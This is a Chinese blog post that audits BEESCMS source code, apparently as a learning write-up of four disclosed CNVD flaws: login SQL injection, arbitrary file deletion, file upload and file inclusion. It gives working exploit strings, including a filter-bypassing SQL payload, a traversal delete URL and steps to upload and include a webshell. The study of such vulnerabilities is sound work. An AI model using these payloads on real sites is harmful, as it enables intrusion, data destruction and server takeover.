【代码审计】小白友好的根据CNVD审计BEESCMS

news2024/10/7 10:15:34

BEESCMS源码下载

目录

①BEESCMS后台登录存在SQL注入漏洞(CNVD-2020-62375)

②BEESCMS存在任意文件删除漏洞(CNVD-2020-33193)

③BEESCMS存在文件上传漏洞(CNVD-2018-18082)

④BEESCMS企业网站管理系统存在文件包含漏洞(CNVD-2020-64781)


①BEESCMS后台登录存在SQL注入漏洞(CNVD-2020-62375)

后台登录后查看网络

 跟login.php里action=ck_login的登录逻辑

//判断登录
elseif($action=='ck_login'){
	global $submit,$user,$password,$_sys,$code;
	$submit=$_POST['submit'];
	$user=fl_html(fl_value($_POST['user']));
	$password=fl_html(fl_value($_POST['password']));
	$code=$_POST['code'];
	if(!isset($submit)){
		msg('请从登陆页面进入');
	}
	if(empty($user)||empty($password)){
		msg("密码或用户名不能为空");
	}
	if(!empty($_sys['safe_open'])){
		foreach($_sys['safe_open'] as $k=>$v){
		if($v=='3'){
			if($code!=$s_code){msg("验证码不正确!");}
		}
		}
		}
	check_login($user,$password);
	
}

跟进fl_value

function fl_value($str){
	if(empty($str)){return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
	return htmlspecialchars($str);
}

关键词替换为空-->可以双写绕过

回到login.php

跟进fl_html

function fl_html($str){
	return htmlspecialchars($str);
}

这个方法只返回了一个函数htmlspecialchars,用作防xss,这里我们不讨论

回到login.php

跟进check_login

function check_login($user,$password){
	$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");	
	$rel=empty($rel)?'':$rel[0];
	if(empty($rel)){
		msg('不存在该管理用户','login.php');
	}
	$password=md5($password);
	if($password!=$rel['admin_password']){
		msg("输入的密码不正确");
	}
	if($rel['is_disable']){
		msg('该账号已经被锁定,无法登陆');
	}
	
	$_SESSION['admin']=$rel['admin_name'];
	$_SESSION['admin_purview']=$rel['admin_purview'];
	$_SESSION['admin_id']=$rel['id'];
	$_SESSION['admin_time']=time();
	$_SESSION['login_in']=1;
	$_SESSION['login_time']=time();
	$ip=fl_value(get_ip());
	$ip=fl_html($ip);
	$_SESSION['admin_ip']=$ip;
	unset($rel);
	header("location:admin.php");
}

拿seay找一下函数fetch_asc路径

/*
	*
	*取出字段作为数组索引的数据集合
	*return $array
	*/
	function fetch_asc($sql){
		$result=$this->query($sql);
		$arr=array();
		while($rows=mysql_fetch_assoc($result)){
			$arr[]=$rows;
		}
		mysql_free_result($result);
		return $arr;
	}

跟进query

	function query($sql){
		if(!$res=@mysql_query($sql,$this->link)){
			err('操作数据库失败'.mysql_error()."<br>sql:{$sql}","javascript:history.go(-1);");
		}
		return $res;
	}

使用mysql_query函数执行 SQL 查询语句$sql,并将结果赋值给变量$res。如果查询失败(即返回值为假),则直接输出sql语句

我们可以尝试一下

 符合

直接报错注入

exp:

admin' a and nd updatexml(1,concat(0x7e,(seselectlect database()),0x7e),1)#

成功

②BEESCMS存在任意文件删除漏洞(CNVD-2020-33193)

Seay扫下unlink函数

 直接用第一个/admin_ajax.php

//删除图片
elseif($action=='del_pic'){
	$file=CMS_PATH.'upload/'.$value;
	@unlink($file);
	die("图片成功删除");
}

如果$value可控,通过目录穿越则可实现任意文件删除

跟一下$value,发现是全局且可控的

 我们先在根目录随便创建一个文件Z3r4y.php

 exp:

/admin/admin_ajax.php?action=del_pic&value=../Z3r4y.php

回显成功删除

此时发现根目录下的Z3r4y.php确实已被删除

③BEESCMS存在文件上传漏洞(CNVD-2018-18082)

Seay扫一下move_uploaded_file函数

先看第一个

	if(is_uploaded_file($new_pic['tmp_name'])){
		//判断大小
		if($new_pic['size']>$_sys['upload_size']){msg('图片太大,请缩小');}
		//判断格式
		if(!in_array(strtolower($new_pic['type']),array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'))){msg('上传图片格式不正确');}
		//图片信息
		$new_pic_info=pathinfo($new_pic['name']);
		//替换图片
		$new_pic_name=CMS_PATH.$pic_path.$pic_name.'.'.$new_pic_info['extension'];
		//删除原来图片
		//@unlink($file_name);
		//上传图片
		@move_uploaded_file($new_pic['tmp_name'],$new_pic_name);
		//对文件重新赋值,方便生成缩略图
		$file_name=$new_pic_name;
		//更新数据库
		$new_pic_sql=",pic_ext='".$new_pic_info['extension']."',pic_size='".$new_pic['size']."'";
	}

关于格式的判断只要修改Content-Type即可

 访问/admin/admin_pic.php

发现在修改图片界面可以上传文件

 修改Content-Type上传一句话木马

 回到/admin/admin_pic.php

 点击图片跳转发现成功写马

 成功RCE

连蚁剑也行

 

④BEESCMS企业网站管理系统存在文件包含漏洞(CNVD-2020-64781)

Seay搜include

看起来有很多,但不少include的参数已经写死了,这些我们就不用看,我们需要找可控变量

改变检索关键词:include($

找到/admin/admin_channel.php

//开始导入字段
elseif($action=='save_backup')
{
	if(!check_purview('field_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
	$channel_id = intval($_POST['channel_id']);
	if(empty($channel_id))
	{
		msg('参数发生错误!请重新操作!');
	}
	//判断是否存在文件
	$file_name = $_POST['file_name'];
	if(empty($file_name))
	{
		msg('文件名不能为空!');
	}
	$file_path = DATA_PATH.'backup/'.$file_name.'.php';
	if(!file_exists($file_path))
	{
		msg('不存在导入文件,请检查data/backup目录下是否存在文件');
	}	
	include($file_path);
	//获取模型表
	if(file_exists(DATA_PATH."cache_channel/cache_channel_all.php"))
	{
		include(DATA_PATH."cache_channel/cache_channel_all.php");
	}
	foreach($channel as $key=>$value){
		if($value['id']==$channel_id){
			$table=$value['channel_table'];
		}
	}
	
	//开始导入
	if(!empty($field_arr))
	{
		foreach($field_arr as $v)
		{
			$type="varchar(".$v['field_length'].")";
			if($v['field_type']=="html"||$v['field_type']=="upload_pic_more")
			{
				$type="text";
			}
			$sql="select*from ".DB_PRE."{$table} limit 1";
			$check_field_arr=$GLOBALS['mysql']->fetch_field($sql);
			if(in_array($v['field_name'],$check_field_arr))
			{
				continue;
			}
			$GLOBALS['mysql']->add_field($table,$v['field_name']." ".$type);
			
			$sql="insert into ".DB_PRE."auto_fields (field_name,use_name,field_type,field_value,field_length,channel_id,field_info,is_disable,is_del,field_order) values ('".$v['field_name']."','".$v['use_name']."','".$v['field_type']."','".$v['field_value']."',".$v['field_length'].",".$channel_id.",'".$v['field_info']."',".$v['is_disable'].",".$v['is_del'].",'".$v['field_order']."')";
			$GLOBALS['mysql']->query($sql);
		}
	}
	$GLOBALS['cache']->cache_fields();
	
	msg('导入完成,可以删除文件!','?action=channel&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
	
}

这一段可以利用

 

访问一下/admin/admin_channel.php

 点击“导入字段”

发现post提交的值就是file_name

 我们就用刚上传的一句话木马试一下:upload/img/20121208/201212082353104864.php

exp:

../../upload/img/20121208/201212082353104864

左上角看到GIF89a,成功包含恶意文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1418067.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python接口自动化框架设计到开发

1.如何设计一个接口自动化测试框架 根据接口地址、接口类型、请求数据、预期结果来进行设计&#xff0c;对于需要登录后才能进行操作的接口那么则需要进行header cookie等数据的传递&#xff0c;自动化测试的难点就是数据依赖。 2.python操作excel获得内容 首先python操作exce…

SSL加密证书免费申请

首先&#xff0c;让我们来了解一下SSL证书的基本作用。SSL证书通过公钥和私钥的非对称加密技术&#xff0c;使得服务器与浏览器之间的通信内容得到高强度加密&#xff0c;同时验证网站的真实身份&#xff0c;从而提升用户的信任度&#xff0c;也是搜索引擎排名优化的一个重要因…

JSP和JSTL板块:第一节 JSP追根溯源 来自【汤米尼克的JAVAEE全套教程专栏】

板块一 JSP和JSTL&#xff1a;第一节 JSP主要内容 一、什么是JSP二、IDEA的JSP相关配置1.UTF-8编码2.JSP代码模板 三、JSP的底层是Servlet四、Jsp的注释1.显式注释2.隐式注释 五、Scriptlet : 写在Jsp里的java脚本段 一、什么是JSP JSP: Java Server Page。SUN 公司提供的动态…

C语言实现快速排序算法(附带源代码)

快速排序 在区间中随机挑选一个元素作基准&#xff0c;将小于基准的元素放在基准之前&#xff0c;大于基准的元素放在基准之后&#xff0c;再分别对小数区与大数区进行排序。 动态效果过程演示&#xff1a; 快速排序&#xff08;Quick Sort&#xff09;是一种常用的排序算法&…

响应式Web开发项目教程(HTML5+CSS3+Bootstrap)第2版 例5-3 getBoundingClientRect()

代码 <!doctype html> <html> <head> <meta charset"utf-8"> <title>getBoundingClientRect()</title> </head> <script>function getRect(){var obj document.getElementById(example); //获取元素对象var objR…

路灯哪个牌子好?五款好用新年台灯推荐

自从娃进入小学&#xff0c;学习和视力是群里妈妈们永远不变的两大话题&#xff0c;特别是视力话题&#xff0c;常常能炸出“深潜”已久的爸爸们加入讨论。最近这几年&#xff0c;孩子的近视率又提高了&#xff01;根据国家卫健委的报道&#xff0c;儿童青少年近视总体发生率高…

Walrus 0.5发布:重构交互流程,打造开箱即用的部署体验

开源应用管理平台 Walrus 0.5 已于近日正式发布&#xff01; Walrus 0.4 引入了全新应用模型&#xff0c;极大程度减少了重复的配置工作&#xff0c;并为研发团队屏蔽了云原生及基础设施的复杂度。Walrus 0.5 在这一基础上&#xff0c;通过重构交互流程、增强抽象能力&#xff…

COW AI接入到微信 保姆教程 (部署在服务器,插件安装)

此文章不涉及国外的AI模型&#xff0c;也无需翻墙&#xff0c;跟某AI模型无关&#xff0c;审核大哥别弄错了 最近的AI开始越开越火了&#xff0c;开始介入到我们生活中的方方面面。就有人好奇AI是否能接入到微信吗&#xff1f;我在GitHub上搜索的时候还真有除了对话外还可以通…

编译Opencv3.3 版本遇到的Cuda版本变更导致:CUDA_nppicom_LIBRARY (ADVANCED)链接找不到的问题根本解法:

前言&#xff1a; Opencv 开源库的使用是必须的&#xff0c;但是&#xff0c;开源项目的特性&#xff0c;造成&#xff0c;版本的依赖性比较复杂&#xff0c; 尤其是针对某一款老硬件的SDK&#xff0c;往往随着某个开源库的使用&#xff0c;导致&#xff0c;无法编译的问题&am…

Windows XP x86 sp3 安装 Python3.4.4

1 下载 Python3.4.4&#xff0c;下载地址&#xff0c;点击红色部分。 Python Release Python 3.4.4 | Python.org 2 一路 Next&#xff0c;将 C:\Python34 和 C:\Python34\Scripts 加入环境变量。 3 python 查看版本&#xff0c;python -m pip list 查看安装的包。 4 其他(打…

关东升老师Python著作推荐(由电子工业出版社出版)

前言&#xff1a;关东升老师简单介绍 一个在IT领域摸爬滚打20多年的老程序员、软件架构师、高级培训讲师、IT作家。熟悉Java、Kotlin、Python、iOS、Android、游戏开发、数据库开发与设计、软件架构设计等多种IT技术。参与设计和开发北京市公交一卡通百亿级大型项目&#xff0c…

OpenAI、斯坦福大学提出Meta-Prompting,有效提升语言模型的性能

为了研究如何提高语言模型的性能&#xff0c;使其更充分有效地输出对于提问的回答&#xff0c;来自斯坦福和 OpenAI 的学者强强联手&#xff0c;通过提出一种名为元提示&#xff08;meta-prompting&#xff09;的方法来深入探索。元提示通过让单个语言模型&#xff08;如 GPT-4…

微信小程序(二十二)获取全局实例

注释很详细&#xff0c;直接上代码 上一篇 新增内容&#xff1a; 1.全局实例的定义位置 2.全局实例中数据的修改方法 源码&#xff1a; app.js App({//数据可以包括在第二级globalData:{userInfo:null,token:1243,userInfo:null},//globalData并不是关键词&#xff0c;数据可以…

TCP_拥塞控制

引言 24年春节马上就要到了&#xff0c;作为开车党&#xff0c;最大的期盼就是顺利回家过年不要堵车。梦想是美好的&#xff0c;但现实是骨感的&#xff0c;拥堵的道路让人苦不堪言。 在网络世界中&#xff0c;类似于堵车的问题也存在&#xff0c;而TCP&#xff08;Transmissi…

智慧矿山数字孪生三维可视化平台,赋能矿业新型工业化数字化转型

智慧矿山数字孪生三维可视化平台&#xff0c;赋能矿业新型工业化数字化转型。随着科技的不断发展&#xff0c;数字化转型已经成为各行各业发展的必然趋势。矿业作为传统产业&#xff0c;也需要紧跟时代步伐&#xff0c;通过数字化转型实现更加高效、安全和环保的生产方式。智慧…

STM32_JTAG引脚及复用代码

目录 1.JTAG引脚1.1 说明&#xff08;可以不看&#xff09;1.2 引脚 2.复用代码3. 手册介绍&#xff08;可以不看&#xff09; 总是忘记有些引脚是JTAG复用的&#xff0c;导致偶尔浪费一些时间&#xff0c;记录一下。 1.JTAG引脚 1.1 说明&#xff08;可以不看&#xff09; …

修改el-date-picker datetimerange内部样式 或 popper-class不生效

看官网介绍 需要添加一个 popper-class类名去控制 有可能发现 popper-class不生效。 这时我们需要看 样式 是否加了 scoped。这个的作用就是样式隔离了。 所以我们需要在重新写个style在这当前页面下即可&#xff0c;或者在最外层重新写个样式。我这里直接放在了当前页面下。…

muduo网络库剖析——接受新连接Acceptor类

muduo网络库剖析——接受新连接Acceptor类 前情从muduo到my_muduo 概要框架与细节成员函数使用方法 源码结尾 前情 从muduo到my_muduo 作为一个宏大的、功能健全的muduo库&#xff0c;考虑的肯定是众多情况是否可以高效满足&#xff1b;而作为学习者&#xff0c;我们需要抽取…

Hbuilder真机调试

1.找到adbs文件&#xff0c;执行adb.exe文件 2.手机找到开发人员选项&#xff08;设置-系统和更新-开发人员选项&#xff09; 打开之后在调试里面打开USB调试&#xff0c;数据线连接电脑 手机会弹窗提示&#xff0c;点击确定 然后就准备运行啦 3.Hbuilder运行 点击运行就可以…